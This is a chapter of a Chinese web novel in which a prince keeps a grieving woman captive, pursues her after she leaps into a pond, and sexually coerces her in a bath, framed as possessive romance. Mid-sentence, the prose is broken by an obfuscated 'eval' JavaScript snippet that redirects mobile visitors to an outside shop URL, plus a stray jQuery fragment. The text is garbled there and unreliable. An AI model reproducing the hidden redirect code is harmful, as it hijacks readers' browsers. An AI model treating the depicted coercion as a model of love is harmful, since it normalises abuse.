见程林安似乎有所触动,他心中暗喜,越发卖力的拱火:“他们辱你至此,你甘心就此忍气吞声,当个缩头乌龟?”
程林安斜他一眼,心说你也不遑多让,面上冷哼:“那依王爷高见,林安该怎么办?”
裴书淮将手递到她眼前,手心向上,掌心纹路清晰可见,落在她身上的目光亦是炽热动人,“真心换真心,安安可愿意?”
又一次从他口中听闻“真心”二字,程林安轻扯嘴角,“王爷为什么非要执着于‘真心’这种虚无缥缈的东西。”
程林安不买账,裴书淮也不气馁。
人就在他身边,只要留住她,天长地久日日暖着,就算她心如磐石,他也自信终有一日能令其融化。
显然,眼下不宜操之过急,免得惹她生厌。他心里清楚,想要诱她交付真心,应当徐徐图之。
牵住程林安的手,晃了晃,温声叮嘱:“本王还有事,安安想要什么,想做什么都可以吩咐阿桃。”
“我想出府,送他们最后一程。”程林安道。
裴书淮脚步微顿,“除了离开本王,其余皆可。”语罢,匆匆往门外去。
脚下步伐稍显凌乱,不像是赶着去办公事,更像是显出颓势落荒而逃。
程林安不明白,他是不是忘了这是他的寝屋,跑什么?
不过几个呼吸,他的背影就快看不见了,程林安连忙提高嗓音同他确认:“王爷的意思是允许我出府了?”
“不允。”
冷漠的命令被风送来,比寒风更令她心凉,程林安唇角的笑立时僵住,旋即嗤笑一声,仰头望天。
碧空之上,烈阳高悬,万里无云。
暖融融的阳光落在身上,可她始终觉得遍体生寒,那股寒意挥之不去,如影随形。
眼角隐有稍许冰凉,很快一行凉意划过脸颊,直直坠下,她早有感觉,抬手重重抹去。
“姑娘。”阿桃悄声来到她身边,快速掠过她微红的眼角,低声劝道:“奴婢能看出来,王爷心中是有姑娘的,姑娘大可向王爷服个软,也许……会成的。”
服软吗?
以一个旁观者的视角来看,程林安知道如何做才是当下最优选。
可偏偏她是局中人,难免为情牵绊。她受困于人,既无法抉择自己的命运,也无法护住至亲的性命,甚至想血刃仇人都难以实现。
无能无力至此,难道连最后的傲骨都要舍弃,自轻自贱的跑到罪魁祸首跟前摇尾乞怜?
真要如此还不如就此自绝。
这时,阿桃又在她耳边道:“姑娘的事奴婢本不该多嘴,可见姑娘日渐憔悴,奴婢心里不是滋味,有些话不吐不快。”
程林安侧目:“你说便是。”
阿桃弯起眉眼:“姑娘不嫌奴婢多嘴就好。”
她做贼般环顾四周,而后拉着程林安的胳膊,附耳细语:“奴婢觉得王爷言之有理。”
怕她发怒,阿桃特意停顿片刻,偷觑她的面色,没有发现动怒的征兆,揪紧的心悄然松开些许。
再接再厉:“姑娘势单力薄,想有所作为,恐怕极难成事。”她点到即止,暗示之意十分明显。
程林安似笑非笑:“你的意思我明白。”
阿桃以为说服了程林安,面上一喜,却听她道:“我看安王不错。你觉得呢?”
安王是当今陛下的大皇子,为人谦逊低调。
闻言,阿桃双膝一软,险些站不住。
程林安眼疾手快,一把托住她的胳膊,关切问:“可是哪里不舒服,等会让府医给你看看吧。”
“不用,不用。”阿桃连忙拒绝:“奴婢没事,就是,就是忽然使不上力了。多亏姑娘手快扶了我一下。”
程林安会心一笑,像是感受不到暗地里的汹涌,以及那道一直落在身上的,阴沉沉的视线。
“没事就好。”
这儿虚惊一场,躲在暗处的裴书淮则是抓心挠肝。
程林安可不管暗中的人如何想,她心中有个模糊的猜想,要去验证一下。
带着阿桃往府邸后方的小门去,走到半路就见先前口称忙碌的裴书淮绕过前方转角,与她狭路相逢。
程林安:“……”
裴书淮略显讶异,仿佛两人的相遇全因意外,而非某人刻意绕路围堵。
他三两步上前,半抱半推就想把程林安往回带。
“安安想去哪里?本王可以陪你在府中走一走,王府内山石奇景无一不是京城之最,造景布局亦是大师之作。”
“等等。”程林安踉跄两步,铿然道:“衙门结了案,亡者也该下葬了。我想亲自去看看,作为程家唯一的未亡人,我必须去。”
肩上的手骤然收紧力道,沉稳的嗓音在耳边响起,“安安是不是忘了,你如今是临王府的人,后续事宜本王会命人办妥,你不必再为之烦心。”
“可是……”
“没有可是。”裴书淮直接截断她的话,眉目沉冷,“既已见过他们最后一面,也该懂得知足,再贪心可要拿东西来与本王做交换。”
程林安断然闭嘴,目光四顾,趁裴书淮不注意,撇下他就往小径钻去。
裴书淮一时不察,还真让她跑出几步。
短暂的怔愣过后,他不怒不急,浅浅弯唇笑得兴味盎然。
抬手阻止了阿桃,示意她从另一边绕路,而他则迈开步子,不紧不慢地跟在程林安身后。
从容不迫,游刃有余。
这是他的临王府,程林安就算忽然长了翅膀也不可能从府中逃脱。
是以,她注定是他掌中的猎物,逃不脱更挣不开。
至于平日的反抗打闹,他皆将其视为无伤大雅的情/趣罢了。
程林安铆足劲往前冲去,裙摆翻飞,绸缎般的墨发被一根浅色发带系在脑后。
适时风起,她迎风而行。烈烈风中,她头也不回地往前冲,到熟悉的池边,毫不犹豫地往下跃去。
翩跹飞舞的蝶自寻死路般投入冰凉的池水,顷刻便没了影。
裴书淮周身的镇定早已不复存在,疾步追赶着程林安,却只是堪堪碰到她一片衣角。
凝视着逐渐归于平静的水面,裴书淮暗自咬牙,跃入水中朝她游去,胳膊一捞就想把程林安带到身边。
察觉来人,程林安缓缓睁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997980|192098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,见是裴书淮,她眼中隐有决绝之意,顺着他的力道被他扯到身边,倾身环抱住他的腰身。
就像一个即将溺水的人,因为极度恐慌而变得毫无理智,唯剩本能的攀附。
她攀住裴书淮的肩膀,用尽全身力气拖着他,试图将他压在水中,就算堵上性命,她亦不惧。
可她到底是输在力量悬殊上,裴书淮的水性意外得好,内力之深厚更是超乎她想象。
纵使她拼尽全力,依旧被裴书淮轻松化解。
……
浴房内热气氤氲,娇艳的玫瑰花瓣沾染了潮气,在水面上飘飘荡荡。
热气在眼前织起一层薄纱,眼前晃动的人影在她眼中变得模糊遥远,似是察觉她的分心,忽然到来的强烈刺激让她忍不住难受的呜咽。
苍白的唇不知何时染上几分浅红,面色亦被热气熏得泛起一层粉,当真是面若芙蓉,艳胜桃李。
偏偏那双水润的眼中满是不肯服输低头的韧劲,令人情不自禁想采摘亵玩。
“不听话的雀儿应该受到惩罚,妄想弑主的雀儿更应该被狠狠折磨,你说本王说得对吗?”他慢条斯理地研磨。
故意将灼热的吐息洒在她敏感的颈间,见她不答,坏心的轻咬她的耳垂。
程林安愤愤瞪他,知晓她的眼神对他而言根本没有杀伤力,可能还会成为他的兴奋剂,干脆闭眼不看。
咬紧牙关从齿缝间挤出两个字:“恶心。”
耳畔响起一阵冷笑,裴书淮扯住束缚她的带子,直接翻了个面,转而自背后环住她,以一个爱侣之间极其亲密的姿态拥着她,可动作根本算不得亲密。
“恶心又如何?程林安你这辈子都逃不掉,只能永远待在本王身边。”
裴书淮用力抱紧她,像是想将她揉入他的骨血,彻底融为一体,永生永世都不分开。
倘若程林安睁眼,定然能瞧见他眼中铺天盖地的侵占欲望,浓烈得令人心惊。
“安安,说你爱我,要与我相伴白首,共度一生。”
裴书淮贴着她的脸,在她耳边一遍遍呢喃,仿佛他多说几遍就能将这段话变为现实,消弭二人之间所有隔阂。
可惜,他遇到的是程林安,一身倔脾气,认定的事从来不会轻易改变决定。
意识几次坠入混沌,耳畔声音仍旧喋喋不休,程林安只觉得厌烦,叽叽喳喳扰人安眠,简直比蚊子更可恶。
若不是抽不出手,她定要抡圆胳膊猛扇这只惹人烦的臭蚊子。
难受得蹙起眉,虚弱的身体承受不住折磨,软绵绵的倒下。
裴书淮手快,勾住她的腰往回带,避免她在昏沉中溺水。满怀软玉温香,他根本舍不得放手。
让她靠在怀中,借她肩头枕着,伸手抚过她的脸,恋恋不舍的游离片刻,捞起垂落在身后的墨发,在指间绕了几圈。
注视着怀中人的睡颜,裴书淮不自觉弯起唇角,“算了,只要能留住你……”恨我也好,恨我就不会想逃离,他就能留住她了。
至于恨,等她爱上他的那一日,或许一切难题都将迎刃而解。他如是想着,彼时年少意气,对命运的残酷一无所知。